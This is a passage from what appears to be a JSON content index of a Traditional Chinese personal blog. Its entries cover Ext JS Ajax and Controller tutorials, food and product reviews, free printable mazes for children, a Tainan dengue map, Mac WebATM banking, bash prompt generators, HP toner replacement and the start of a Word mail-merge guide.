class=\"nx\"\u003edecode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eresponseText\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edir\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eobj\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003efailure\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eopts\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;server-side failure with status code \u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"nx\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estatus\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003eExt.Ajax.request\u003c/code\u003e 在執行時會以非同步（asynchronous）的方式送出請求，然後馬上回傳（return），回傳值並不會包含與伺服器連線的任何資訊或結果，當成功連現取得資料時，\u003ccode\u003eExt.Ajax.request\u003c/code\u003e 會執行 \u003ccode\u003esuccess\u003c/code\u003e 所指定的函數，若失敗則執行 \u003ccode\u003efailure\u003c/code\u003e 所指定的函數。另外也可以使用 \u003ccode\u003erequestcomplete\u003c/code\u003e 事件來處理完成請求時的動作。\u003c/p\u003e","title":"Ext JS 使用 Ext.Ajax 與伺服器溝通"},{"content":"這裡介紹 Ext JS 架構中的 Controller 的使用方式。\n在 MVC 架構中，Controller 是一個很重要的角色，以下是 Ext JS 的 Ext.app.Controller 使用教學。\n建立基本 Controller Controller 是 Ext JS 中連接各個應用程式組件的媒介，它主要的作用是傾聽事件（events）然後執行對應的動作，以下是 Controller 的建立方式：\nExt.define(\u0026#39;MyApp.controller.Users\u0026#39;, { extend: \u0026#39;Ext.app.Controller\u0026#39;, init: function() { console.log(\u0026#39;Initialized Users! This happens before \u0026#39; + \u0026#39;the Application launch() function is called\u0026#39;); } }); 這裡的 init 函數會在應用程式的初始化階段被呼叫，他的呼叫時機是在 Application 的 launch 之前，這可以讓程式設計者在 Viewport 建立之前，執行一些動作。\nController 的 control 函數可以讓程式設計者很簡單的設定事件與 handler 函數的對應關係，例如：\nExt.define(\u0026#39;MyApp.controller.Users\u0026#39;, { extend: \u0026#39;Ext.app.Controller\u0026#39;, control: { \u0026#39;viewport \u0026amp;gt; panel\u0026#39;: { render: \u0026#39;onPanelRendered\u0026#39; } } onPanelRendered: function() { console.log(\u0026#39;The panel was rendered\u0026#39;); } }); 這裡的 control 透過 ComponentQuery 的方式來指定頁面上的組件，它的用法有點像 CSS，以一個規則來指定頁面中所有匹配的組件。\n在 init 函數中的 'viewport \u0026gt; panel' 代表在 Viewport 中所有直屬的 Panel 元件，而其所指定的物件中，列出了事件與 handler 的對應關係，亦即 render 事件對應 onPanelRendered 這個 handler，如此設定之後，只要是頁面中匹配的元件觸發了 render 事件，那麼 onPanelRendered 這個 handler 就會被直呼叫。\nEvent Domains 在 Ext JS 4.2 之後，引進了 event domains 的改念，在 MVC 的術語中，event domains 是指 Controller 會傾聽的事件所屬的基礎類別，除了繼承 Ext.Component 類別的 Views，Controller 還可以傾聽資料的 Stores、Ext.Direct Providers、其他的 Controllers 以及 Ext.GlobalEvents，這個特性可以讓應用程式中的不同組件很輕易地互相溝通，不需要互相綁定 Controllers，並且可以讓開者獨立測試不同的元件。\n使用 refs refs 系統是 Controllers 中一個很有用的功能，藉由 ComponentQuery 可以讓開發者很容易指定任何在頁面上的組件，下面是一個眼單的範例：\nExt.define(\u0026#39;MyApp.controller.Users\u0026#39;, { extend: \u0026#39;Ext.app.Controller\u0026#39;, refs: [{ ref: \u0026#39;list\u0026#39;, selector: \u0026#39;grid\u0026#39; }], control: { \u0026#39;button\u0026#39;: { click: \u0026#39;refreshGrid\u0026#39; } }, refreshGrid: function() { this.getList().store.load(); } }); 這個例子假設頁面中有一個 Grid，而這個 Grid 中包含一個按鈕，按下按鈕時會刷新裡面的資料，在 refs 陣列中指定了一個 grid 的參照，其中包含兩個部分：\nselector：一個 ComponentQuery selector，用來指定頁面中的 grid 組件。\nref：將所有 grid 組件指定給 list 這個參照名稱。\n在設定好參照名稱之後，我們可以獲得許多很有用的東西，第一個是 refreshGrid 函數中所使用的 getList 函數，這個函數是 Controller 以 ref 所指定的參照名稱所自動產生的，產生的規則是將名稱的第一個字母變為大寫，再加上 get 這個前贅字串。\n在 getList 第一次被呼叫時，ComponentQuery selector 會執行匹配的動作，並且傳會第一個匹配成功的元件，在此之後，當 getList 再度被呼叫時，就會使用快取的方式直接傳回 grid 的參照。一般來說我們會建議使用比較特定性的 ComponentQuery selector，這樣比較可以確保傳回的參照對應到指定的組件。\n整個程式串起來之後，就是設定一個 control 傾聽任何按鈕的 click 事件，在使用者按下按鈕時呼叫 refreshGrid 刷新資料。這裏的 button 同樣是不太好的 ComponentQuery selector，實際應用時要改成比較特定的 selector。\n開發者可以定義任意個 refs，進而控制任何數量的組件，若想要看實際的範例，可以參考 SDK 中的 Feed Viewer 範例。\n產生的 getter 方法 除了 refs 之外，還有其他方式也可以產生 getter 方法，Controllers 常常會需要處理 Models 與 Stores，所以 Ext JS 也提供了其他的方法，以下是一個範例：\nExt.define(\u0026#39;MyApp.controller.Users\u0026#39;, { extend: \u0026#39;Ext.app.Controller\u0026#39;, models: [\u0026#39;User\u0026#39;], stores: [\u0026#39;AllUsers\u0026#39;, \u0026#39;AdminUsers\u0026#39;], init: function() { var User, allUsers, ed; User = this.getUserModel(); allUsers = this.getAllUsersStore(); ed = new User({ name: \u0026#39;Ed\u0026#39; }); allUsers.add(ed); } }); 在指定了 Models 與 Stores 之後，Controller 會動態從對應的位置（以這個例子來說是 app/model/User.js、 app/store/AllUsers.js 與 app/store/AdminUsers.js）載入它們，並且建立 getter 函數。這個例子會建立一個新的 User model 物件，然後放進 AllUsers Store，當然我們可以在這個函數中執行任何程式碼，這裡只是示範其使用方式而已。\n參考資料 Ext.app.Controller ","permalink":"https://blog.gtwang.org/web-development/ext-js-controller-tutorial/","summary":"\u003cp\u003e這裡介紹 Ext JS 架構中的 Controller 的使用方式。\u003c/p\u003e\n\u003cp\u003e在 MVC 架構中，Controller 是一個很重要的角色，以下是 Ext JS 的 \u003ccode\u003eExt.app.Controller\u003c/code\u003e 使用教學。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"建立基本-controller\"\u003e建立基本 Controller\u003c/h2\u003e\n\u003cp\u003eController 是 Ext JS 中連接各個應用程式組件的媒介，它主要的作用是傾聽事件（events）然後執行對應的動作，以下是 Controller 的建立方式：\u003c/p\u003e","title":"Ext JS 的 Controller 使用教學"},{"content":"這是我最近上網買的五甲木冷凍乾燥榴槤乾，寫個開箱文紀錄一下。\n榴槤是水果之王，營養價值很高，含有豐富蛋白質、維他命 C、B6、礦物質，高纖維、零膽固醇，兼具美味與營養，適合男女老幼、發育期青少年、孕婦及素食朋友們補充營養。\n最近在 17life 團購網上看到五甲木的榴槤乾，聽說網路上很熱銷，想說沒吃過這種東西，就買來吃吃看。\n這種榴蓮果乾是透過乾燥技術，保留榴槤的營養素，收斂其濃郁氣味，不敢吃新鮮榴槤的朋友也可以試看看。\n因為三包免運費，所以我就一次買了三包。\n感覺好小一包。\n一包只有 50 克。\n這個榴槤乾是直接拿榴槤經過乾燥處理製成的，沒有添加其他的東西，聞起來的味道不像新鮮的榴蓮那麼嗆（比較不會影響到周圍不喜歡吃榴蓮的人），而吃起來就跟一般的榴蓮味道差不多。\n","permalink":"https://blog.gtwang.org/unboxing/wujiamu-dried-durian/","summary":"\u003cp\u003e這是我最近上網買的五甲木冷凍乾燥榴槤乾，寫個開箱文紀錄一下。\u003c/p\u003e\n\u003cp\u003e榴槤是水果之王，營養價值很高，含有豐富蛋白質、維他命 C、B6、礦物質，高纖維、零膽固醇，兼具美味與營養，適合男女老幼、發育期青少年、孕婦及素食朋友們補充營養。\u003c/p\u003e","title":"[開箱] 五甲木榴槤乾"},{"content":"這裡介紹台南市新營區的臻園素食拉麵專賣店，餐點好吃，停車也方便。\n新營的素食店還蠻多的，這家臻園素食拉麵專賣店是朋友推薦我們去吃的，它的位置就在衛福部新營醫院旁邊，異人館咖啡部屋的對面。\n臻園素食拉麵專賣店目前已經搬遷至臺南市新營區中興路6號，本文的照片是舊的。\n這裡如果開車的人，可以直接停在新營醫院的停車場，走過來大約 100 公尺而已，如果是機車的話，對面異人館咖啡部屋前面有一大片人行道可以停，停車很方便。\n店內環境很乾淨，老闆服務態度也很不錯。\n由於店內的佈置還蠻溫馨的，除了一般用餐之外，這裡其實也適合小型的聚餐。\n這是櫃檯，點餐時要先付款。\n這是他們的菜單，因為是拉麵專賣店，所以當然是以拉麵類為主。大部份的餐點是全素的，少數幾樣是蛋奶素。\n這是餐前的檸檬水，我們家小朋友很喜歡喝這個。\n這是麻辣臭豆腐拉麵，我是感覺不會很辣。\n很好吃的臭豆腐。\n臭豆腐份量不少，有五大塊！\n這是紅燒拉麵。\n這是味增拉麵，他的湯頭很棒。\n什錦拉麵。\n羹拉麵。\n這是滷豆干，真的非常好吃！\n這是素燥飯，我家小朋友很愛吃。\n這是這家店很有名的可樂餅，沾番茄醬很好吃。\n裡面的料很多，我看到的有芋頭，其他的我就沒注意看了。\n似乎還有加乳酪。\n這是乾拉麵加上味增湯，這樣搭配起來吃我覺得很棒。\n乾拉麵有加幾塊豆乾。\n味增湯在菜單上面沒有，今天因為我想點的羹湯賣完了，老闆說可以換味增湯，所以就點了這碗味增湯。\n我家小朋友喜歡吃他的素燥飯。\n如果不喜歡吃麵的人，可以點他的套餐。\n除了在店內用餐，外帶也很方便，以下是一些外帶的餐點照片。\n套餐的菜色很不錯，它用的素排品質是比較好的（也是我個人比較愛吃的那種）。\n套餐的湯也很好喝。\n這是外帶的味噌泡菜拉麵，老闆會把麵與湯分開包，泡菜也是另外裝一包，要吃的時候再自己倒進碗裡面，不用擔心麵會糊掉。\n味噌與泡菜的味道搭配很不錯喔。\n他的泡菜有點辣，但是不會太辣。\n這是外帶的紅燒麵。\n它的麵與湯同樣也是分開裝的。\n這家店除了水質講究之外，湯頭也是由多種蔬果熬煮的，所以每一種湯都非常好喝。\n今天因為帶小朋友來這裡吃飯，加上又要拿相機拍照，手忙腳亂的，最後拍完才想到，拉麵專賣店沒拍到麵條，只好等下次有機會再拍了。\n名稱：臻園素食拉麵專賣店\n地址：730臺南市新營區中興路6號（地圖）\nFacebook：臻園素食拉麵\n整體而言，這家臻園素食拉麵專賣店不管環境與餐點都很不錯，停車也方便，適合小型聚餐，不過因為店內的位子並不多，若是去的人數比較多的話最好事先訂位，以免沒有位子。\n如果是不方便去店裡用餐或是外帶的人，只要地點離店家不會太遠，老闆說是可以外送的，不過有送到多遠，就要問問看老闆了。另外若有小朋友讀附近的小學，中餐要吃素食的話，也可以請老闆直接外送到學校，詳細的情形可以直接詢問老闆。\n","permalink":"https://blog.gtwang.org/life/zhen-yuan-vegetarian-ramen-restaurant-sinying-tainan/","summary":"\u003cp\u003e這裡介紹台南市新營區的臻園素食拉麵專賣店，餐點好吃，停車也方便。\u003c/p\u003e\n\u003cp\u003e新營的素食店還蠻多的，這家臻園素食拉麵專賣店是朋友推薦我們去吃的，它的位置就在衛福部新營醫院旁邊，異人館咖啡部屋的對面。\u003c/p\u003e","title":"[台南新營素食] 臻園素食拉麵專賣店"},{"content":"這裡整理了許多可以免費下載迷宮圖形的網站，可以自行列印後給小朋友使用。\n之前我們介紹過小朋友的免費著色本，而這裡我們又整理了一些免費的迷宮圖形，同樣可以下載後列印給小朋友玩。\n而除了迷宮圖與著色本之外，注音ㄅㄆㄇ練習本、數字 123 練習本以及英文 ABC 練習本也是很常用的兒童免費素材，另外如果您對於摺紙有興趣，也可以參考紙藝網站教小朋友摺紙。\n在付費的教材部分，巧連智應該是最有名的，不過我個人是比較歡國語週刊系列的教材，有興趣的人可以參考看看。\nThinkMaze ThinkMaze 網站上提供了很多的 PDF 迷宮圖檔，而且都是高品質的向量圖，重點是每張圖都畫的很漂亮，非常推薦！\n名稱：ThinkMaze\n網址：https://www.thinkmaze.com/\nPrintable Mazes Printable Mazes 提供一些一般性的迷宮 PDF 圖檔，每個 PDF 都是一整本迷宮圖，一次就可以下載好多個迷宮，很方便。\n名稱：Printable Mazes\n網址：https://www.printablemazes.net/\nAll Kids Network All Kids Network 提供一些一般性的迷宮圖，檔案格式是一般的圖檔。\n名稱：All Kids Network\n網址：https://www.allkidsnetwork.com/mazes/\nMr. Printables Mr. Printables 只有提供少量的迷宮圖，不過都是高品質的 PDF 向量圖。\n名稱：Mr. Printables\n網址：https://mrprintables.com/\nMomsWhoThink MomsWhoThink 提供一些普通的迷宮圖檔。\n名稱：MomsWhoThink\n網址：http://www.momswhothink.com/\nBusy Bee\u0026rsquo;s Free Printable Busy Bee\u0026rsquo;s Free Printable 提供許多 PDF 向量圖檔的迷宮圖。\n名稱：Busy Bee’s Free Printable\n網址：http://www.busybeekidsprintables.com/\nkrazydad krazydad 提供少數的迷宮圖案，圖檔是 PDF 向量圖，不過數量不多。\n名稱：krazydad\n網址：http://krazydad.com/mazes/\neducation.com education.com 提供了許多高解析度的迷宮圖，有些會結合英文字母與數字，讓小朋友一邊玩一邊學習。\n名稱：education.com\n網址：www.education.com\n以上是可以免費下載各種迷宮的網站，這些迷宮列印下來就可以給小朋友玩了，既方便又經濟。\n","permalink":"https://blog.gtwang.org/children/free-printable-mazes-for-kids/","summary":"\u003cp\u003e這裡整理了許多可以免費下載迷宮圖形的網站，可以自行列印後給小朋友使用。\u003c/p\u003e\n\u003cp\u003e之前我們介紹過\u003ca href=\"/children/print-coloring-book-for-kids/\"\u003e小朋友的免費著色本\u003c/a\u003e，而這裡我們又整理了一些免費的迷宮圖形，同樣可以下載後列印給小朋友玩。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e而除了迷宮圖與著色本之外，\u003ca href=\"/children/phonetic-exercise-books-for-children/\"\u003e注音ㄅㄆㄇ練習本\u003c/a\u003e、\u003ca href=\"/children/number-practice-books-for-children/\"\u003e數字 123 練習本\u003c/a\u003e以及\u003ca href=\"/children/alphabet-tracing-sheets/\"\u003e英文 ABC 練習本\u003c/a\u003e也是很常用的兒童免費素材，另外如果您對於摺紙有興趣，也可以參考\u003ca href=\"/children/origami-paper-craft-resources/\"\u003e紙藝網站\u003c/a\u003e教小朋友摺紙。\u003c/p\u003e","title":"迷宮圖形免費下載網站整理，訓練兒童專注力"},{"content":"小華素食館是台南市新市區的一間素食自助餐，距離南科很近，南科許多人都會去那裡吃。\n在新市附近的素食自助餐中，小華素食館是最大間的一家，生意也是最好的（至少看起來人是最多的），如果在南科工作或是出差的人，要去新市吃素食的話，小華素食館會是一個不錯的選擇。\n小華素食館的營業時間很長，早餐、中餐與晚餐都有，我曾經早上六點多去包稀飯與一些小菜回來吃，如果您早餐想吃一般的飯菜，早上這裡也有。\n這間素食店還通過衛生局「多蔬低卡」的健康認證。\n這是店內的景象，如果是用餐時間，菜色都蠻多的，不過通常比較好吃或是比較特別的菜一端出來很快就被搶光了，所以如果想要有多一點選擇，就不能太晚去。\n除了一般的菜之外，時常還會有涼拌與沙拉等，另外還有幾種湯可以選擇，我個人喜歡他的羹湯。\n一般這類的素食店都是用秤重的方式計價，不過小華素食館的計價方式是靠老闆「目測」，通常算出來的價格都會比外面用秤的便宜一些，但有時候也不太一定，如果你都是夾比較貴的素料，就會比較貴，不過就大部份的菜來說，都算得很便宜。\n來這裡吃飯有一個優點就是這裡有停車場，對於開車的人是比較方便。\n只要是來這裡吃飯的顧客，都可以直接把車子停進去。\n只是停車場並沒有很大，吃飯時間人多的時候，不見得一定有位子。\n名稱：小華素食\n地址：台南市新市區忠孝街225號\n電話：(06)599-5825\n新市這邊的素食自助餐除了小華之外，還有一家恆心素食也不錯，兩家距離不遠，口味也有點不同。\n","permalink":"https://blog.gtwang.org/life/xiaohua-vegetarian-restaurant-xinshi-tainan/","summary":"\u003cp\u003e小華素食館是台南市新市區的一間素食自助餐，距離南科很近，南科許多人都會去那裡吃。\u003c/p\u003e\n\u003cp\u003e在新市附近的素食自助餐中，小華素食館是最大間的一家，生意也是最好的（至少看起來人是最多的），如果在南科工作或是出差的人，要去新市吃素食的話，小華素食館會是一個不錯的選擇。\u003c/p\u003e","title":"[台南新市素食] 小華素食館，近南科素食自助餐"},{"content":"最近登革熱疫情嚴重，我們可以透過這個台南市登革熱擴散地圖來查看最新的疫區狀況。\n目前台南市已經成為登革熱最嚴重的疫區，雖然相關單位近日積極噴藥滅蚊，但病例數仍居高不下。\n台大地理系溫在弘以台南市政府資料開放平台所取得的資料，繪製了台南市登革熱擴散地圖，其中包括登革熱疫情、病媒蚊幼蟲數量、噴藥時間地點等三種地圖，資料可以依照不同的時間來顯示。\n這是 2015 年六月份以來，登革熱病例的累積分佈地圖：\n除了這個累積分佈地圖之外，還有每日新病例分佈、病媒蚊幼蟲數量、噴藥時間地點等，需要的人可以上 Mapping The Dengue Epidemic in Tainan City, 2015 查詢。\n由於以上這些地圖的資料沒有即時更新，我實在很想看最新的疫情分佈圖，所以又自己畫了一個登革熱地圖，大家可以參考看看。\n","permalink":"https://blog.gtwang.org/life/dengue-map-2015/","summary":"\u003cp\u003e最近登革熱疫情嚴重，我們可以透過這個台南市登革熱擴散地圖來查看最新的疫區狀況。\u003c/p\u003e\n\u003cp\u003e目前台南市已經成為登革熱最嚴重的疫區，雖然相關單位近日積極噴藥滅蚊，但病例數仍居高不下。\u003c/p\u003e","title":"登革熱地圖：查詢目前登革熱疫區狀況（2015 年）"},{"content":"這裡教大家如何在 Mac OS X 中使用網路 ATM 來轉帳，既快速又方便，不用跑銀行。\n現在的網路 ATM 很方便，不過有些銀行所提供的網路 ATM 只有 Windows 版本，而讀卡機是否支援 Mac OS X 也是一個問題，如果是 Mac OS X 的使用者，要使用網路 ATM 轉帳或查帳就會比較麻煩一些，所幸近年來慢慢有些銀行與讀卡機都開始支援 Mac OS X，以下我介紹我實際測試過可以使用的讀卡機以及網路 ATM。\nATM 晶片讀卡機 在讀卡機的部分，我買的是 EZ100PU 這款 USB 的讀卡機，以 PChome 的價格來說，它幾乎是最便宜的一個讀卡機，也是許多家銀行與國稅局所建議的型號，支援 Windows、Mac OS X 與 Linux 等各種作業系統。\n在使用前要先安裝驅動程式。\n玉山銀行 WebATM 玉山銀行是我個人比較喜歡的銀行，服務品質很不錯，它的 WebATM 也首創支援 Mac OS X，在使用前請先安裝玉山銀行 Mac 專用版 WebATM plugin。\n安裝好 plugin 之後，使用 Safari 或是 Firefox 瀏覽器開啟玉山銀行 WebATM 的網頁（Mac OS X 10.4 請使用 Safari）。\n第一次開啟 WebATM 的網頁時，在網頁上方會顯示「允許 netbank.esunbank.com.tw 執行 E.Sun Bank WebATM」的訊息，這時候請點選「允許」。這裡您可以選擇只有允許現在使用，或是永遠允許，如果常常習慣使用 WebATM 的人，建議可以直接選擇永遠允許。\n接著就可以把晶片金融卡插入讀卡機，使用密碼登入了。（如果 plugin 沒啟動的話，可以試試看重新整理網頁）\n第一次登入時，玉山銀行會驗證金融卡的真偽，要再輸入一次密碼。\n接著設定自己的 E-mail 信箱，這個可以方便自己寄送一些通知訊息到自己的信箱（例如轉帳通知等）。\n設定完成後，就可以開始使用網路 ATM 的各項功能了。\n如果要使用 Safari 瀏覽器也可以，啟用 plugin 之後，使用方式跟 Firefox 大同小異。\n除了玉山銀行之外，國泰世華、合作金庫與台新銀行等，也都有支援 Mac OS X 的網路 ATM，不過網路 ATM 不管用哪一家都可以，挑一家自己喜歡的來用就可以了。\n","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-web-atm-tutorial/","summary":"\u003cp\u003e這裡教大家如何在 Mac OS X 中使用網路 ATM 來轉帳，既快速又方便，不用跑銀行。\u003c/p\u003e\n\u003cp\u003e現在的網路 ATM 很方便，不過有些銀行所提供的網路 ATM 只有 Windows 版本，而讀卡機是否支援 Mac OS X 也是一個問題，如果是 Mac OS X 的使用者，要使用網路 ATM 轉帳或查帳就會比較麻煩一些，所幸近年來慢慢有些銀行與讀卡機都開始支援 Mac OS X，以下我介紹我實際測試過可以使用的讀卡機以及網路 ATM。\u003c/p\u003e","title":"Mac OS X 用 Web ATM 轉帳，以玉山銀行為例"},{"content":"這裡介紹一些可以幫助自訂 Bash Shell 命令提示字串的線上工具，不用學一堆控制碼也可以輕鬆使用。\n在之前的文章中，我們介紹過如何手動自訂 Bash Shell 的命令提示字串，而如果不想要花時間學這些控制碼的話，可以考慮改用一些免費的線上工具，快速製作出自己想要的命令提示字串，然後只要將產生的命令提示字串控制碼貼回自己的 ~/.bashrc 中就可以使用了。\nps1gen 類似 bashrc PS1 generator 的網頁工具，可用滑鼠拖曳自訂命令提示字串。\n名稱：ps1gen\n網址：http://omar.io/ps1gen/\nEzPrompt EzPrompt 也是類似 bashrc PS1 generator 的網頁工具，可用滑鼠拖曳自訂命令提示字串。\n名稱：EzPrompt\n網址：http://ezprompt.net/\nBash $PS1 Generator Bash $PS1 Generator 是一個比較傳統的網頁工具，透過一般的網頁表單來自訂命令提示字串。\n名稱：Bash $PS1 Generator\n網址：https://www.kirsle.net/wizards/ps1.html\n","permalink":"https://blog.gtwang.org/linux/how-to-make-a-fancy-and-useful-bash-prompt-in-linux-3/","summary":"\u003cp\u003e這裡介紹一些可以幫助自訂 Bash Shell 命令提示字串的線上工具，不用學一堆控制碼也可以輕鬆使用。\u003c/p\u003e\n\u003cp\u003e在之前的文章中，我們介紹過如何\u003ca href=\"/linux/how-to-make-a-fancy-and-useful-bash-prompt-in-linux-2/\"\u003e手動自訂 Bash Shell 的命令提示字串\u003c/a\u003e，而如果不想要花時間學這些控制碼的話，可以考慮改用一些免費的線上工具，快速製作出自己想要的命令提示字串，然後只要將產生的命令提示字串控制碼貼回自己的 \u003ccode\u003e~/.bashrc\u003c/code\u003e 中就可以使用了。\u003c/p\u003e","title":"自訂 Linux 的 Bash Shell 命令提示字串 Prompt（三）：線上工具"},{"content":"最近買了一碗（聽說）在素食材料行很熱賣的素食泡麵，紀錄一下。\n這碗茭白筍泡麵是埔里鎮農會出的，會製作這樣的泡麵大概就是因為茭白筍是南投縣埔里鎮最主要且最具特色的農作物，也是代表埔里「一鄉鎮一特色」項目的農產品。\n它標榜沒有添加防腐劑，保存期限是六個月。\n泡麵打開後，有一包調味包、一包油以及一包茭白筍，那個調味包還有打味王的字樣。\n第一次吃我也不知道調味料要加多少比較好，索性就全倒下去了。這是把所有的調味料都倒下去的樣子。\n加入滾水泡個三分鐘，就可以吃了。\n這碗泡麵比較特別的地方就是可以吃到茭白筍，其餘的部分跟一般的泡麵差不了太多（不過泡麵應該本來就是這樣嘛）。另外我覺得調味包全倒下去的話，湯會有點鹹，可能半包就夠了，不過也有可能是我的熱水加得不夠滿。\n","permalink":"https://blog.gtwang.org/life/water-bamboo-instant-noodles/","summary":"\u003cp\u003e最近買了一碗（聽說）在素食材料行很熱賣的素食泡麵，紀錄一下。\u003c/p\u003e\n\u003cp\u003e這碗茭白筍泡麵是埔里鎮農會出的，會製作這樣的泡麵大概就是因為茭白筍是南投縣埔里鎮最主要且最具特色的農作物，也是代表埔里「一鄉鎮一特色」項目的農產品。\u003c/p\u003e","title":"美人腿湯麵：茭白筍（水筍）素食泡麵"},{"content":"這裡記錄 HP 印表機更換碳粉夾的過程，使用副廠碳粉夾價格便宜，列印品質也還不錯。\n最近家中的 HP 彩色雷射印表機的碳粉不太夠了，指示燈一直亮，不過想說把碳粉用到完全沒有再去換，反正印一些小朋友的畫冊，就算碳粉不太夠也沒有關係，結果後來印表機偵測到碳粉不足，直接就不印了，所以只好乖乖的去買一個新的碳粉夾來換。\n上網看了一下，HP 原廠的碳粉夾要價一千六百多，而副廠的碳粉夾最便宜的不用六百塊，幾乎差三倍的價格，所以我就選了一家最便宜的 TonerBay 試試看，雖然便宜，至少還有一些 ISO 等認證。\n這是內包裝，空氣袋的品質很不錯。\n這是 TonerBay 的碳粉夾。\n這個碳粉夾相容於 CE310A/CRG-329/729。\n新的碳粉夾買來的時候，會有一個保護蓋（橘紅色的那個），在使用的時候，這個蓋子是沒有用的，所以在更換之前要先拆掉，只要確定碳粉夾沒問題，這個蓋子就可以跟舊的碳粉夾一起丟了，別把蓋子一起裝進去印表機喔！\n更換 HP 的碳粉夾之前，請先參考一下印表機的說明書，看看如何操作。以我這台 HP LaserJet Pro CP1025nw 而言，就是在開機後，按下要更換的碳粉夾顏色。\n然後在指示燈輪流閃爍時，打開印表機更換。\n正常來說，打開蓋子的時候，碳粉夾已經是退出的狀態，只要把就的碳粉夾拿出來，然後把新碳粉夾放進去即可，而新的碳粉夾上通常都會有封條或標籤，記得要先撕掉再放進去。\n這是汰換下來的 HP 原廠碳粉夾，跟副廠的碳粉夾比起來，還是原廠的品質看起來比較好，尤其是在塑膠的部分，原廠看起來就是比較高級。\n不過我想反正裝進印表機可以印就好了，其他的我就不是很在意了，而我實際測試列印的結果，印出來的效果也很不錯。\n","permalink":"https://blog.gtwang.org/tips/hp-laserjet-pro-cp1025nw-toner-cartridge/","summary":"\u003cp\u003e這裡記錄 HP 印表機更換碳粉夾的過程，使用副廠碳粉夾價格便宜，列印品質也還不錯。\u003c/p\u003e\n\u003cp\u003e最近家中的 HP 彩色雷射印表機的碳粉不太夠了，指示燈一直亮，不過想說把碳粉用到完全沒有再去換，反正印一些小朋友的\u003ca href=\"/children/print-coloring-book-for-kids/\"\u003e畫冊\u003c/a\u003e，就算碳粉不太夠也沒有關係，結果後來印表機偵測到碳粉不足，直接就不印了，所以只好乖乖的去買一個新的碳粉夾來換。\u003c/p\u003e","title":"HP 印表機更換副廠碳粉夾教學（HP LaserJet Pro CP1025nw）"},{"content":"本文介紹如何在 Word 中讀取 Excel 的資料，自動產生大量的名牌、桌牌或是各種指示牌。\n在舉辦一些研討會、活動聚會或是聚餐時，通常都會需要製作給人員配戴的名牌，而在座位上也會需要放置桌牌，或類似的標示牌，如果數量少的話，自己用手動的方式在 Word 剪剪貼貼，就可以做完了，但是如果標示牌的數量很多，每一張要貼上不同的姓名與單位等資料，不僅耗時而且很容易出錯，這時候就可以利用 Word 的合併列印功能，直接將 Excel 表格中的資料讀進來，自動排版成自己設計的樣子，不管有多少張標示牌都不是問題。以下是在 Office 2013 中，使用 Word 與 Excel 製作大量名牌的步驟。\nStep 1\n首先是準備基本的人員資料，也就是要打在名牌或是桌牌上面的資料，第一列是欄位名稱（例如姓名、單位等），第二列之後是資料的內容，就像這樣：\n通常在整理報名人員名單時，都會有類似這樣的 Excel 資料，所以將資料改成這樣的格式，應該是很容易的。而在 Excel 中的資料就不需要太講究字型或樣式了，只要資料正確即可，之後我們會在 Word 中將這些資料讀過去，並且重新進行排版。\nStep 2\n開啟 